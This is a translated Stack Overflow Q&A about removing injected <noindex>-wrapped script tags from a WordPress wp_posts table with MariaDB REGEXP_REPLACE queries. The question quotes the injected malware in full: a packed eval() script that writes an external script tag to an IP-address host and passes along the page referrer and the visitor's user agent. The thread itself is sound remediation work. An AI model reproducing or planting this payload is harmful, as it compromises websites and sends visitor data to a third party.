【问题标题】:Maria DB query to select, then update a table to remove unwanted HTML and script tagsMariadb 查询选择,然后更新表以删除不需要的 HTML 和脚本标签
【发布时间】:2019-10-27 09:59:22
【问题描述】:

以下代码已被注入到我客户的 WordPress 数据库的多行中:

<noindex>
    <script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
        eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
    </script>
</noindex>

我需要从每个表格行中成功删除 &lt;noindex&gt;&lt;/noindex&gt; 标记及其中的所有内容。

此查询成功选择了所有受影响的行(共 15066 行):

SELECT * 
FROM 'wp_posts' 
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'

当我尝试使用类似的UPDATE 查询时,返回零个结果。我当前的查询如下:

UPDATE 'wp_posts' 
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') 
WHERE 'ID' = 1933;

设置 ID 仅用于测试目的。服务器正在运行MariaDB 10.2。非常感谢任何建议或提示。

使用 REGEXP_REPLACE 的成功 UPDATE 查询

UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');

【问题讨论】:

    标签: mysql mariadb


    【解决方案1】:

    警告:请务必在应用 UPDATE 之前备份您的数据库。

    根据documentation

    REGEXP_REPLACE 返回字符串主题,其中所有出现的正则表达式模式都被字符串替换替换。如果没有找到匹配项,则按原样返回主题。

    你可以试试:

    UPDATE wp_posts
    SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');
    

    如果&lt;noindex&gt; 标记之间有换行符,则需要调整正则表达式。例如'&lt;noindex&gt;[[:ascii:]]*&lt;/noindex&gt;'。详情请见Regular Expressions Overview

    备注:

    1) 如果您的合法内容使用&lt;noindex&gt; 标签,请通过添加违规内容的子字符串来修改正则表达式。

    2) 攻击后,好的做法是清除所有内容,进行全新安装并将数据库和文件恢复到攻击前的版本。

    3) 确保您的 wordpress 版本和所有插件都是最新的。

    【讨论】:

    • 我使用 phpMyAdmin 模拟查询工具测试了您的查询,并且匹配的行数为零。该测试没有选择特定的 ID。
    • 不幸的是匹配的行仍然为零。
    • post_content 字段中是否有新行?
    • 一些 post_content 条目可能有新行。在 phpMyAdmin 中查看受影响的行很难判断。
    【解决方案2】:

    如果我必须这样做,我会将wp_posts 表转储到 SQL 文本文件,然后使用文本编辑器选择/替换有问题的文本,然后再次导入 SQL 文件。

    大多数文本编辑器都具有支持正则表达式的选择/替换功能。而且,您可以轻松地观察结果。

    准备好导入表时,RENAME TABLE wp_posts TO wp_posts_old; 然后导入它。

    如果 WordPress 在那之后可以工作,那就太好了。如果没有,那么DROP TABLE wp_postsRENAME TABLE wp_posts_old TO wp_posts 会恢复。

    【讨论】:

      猜你喜欢
      • 2021-06-13
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-02-27
      • 2019-07-28
      • 2013-04-07
      • 2021-12-17
      • 2022-01-22
      相关资源
      最近更新 更多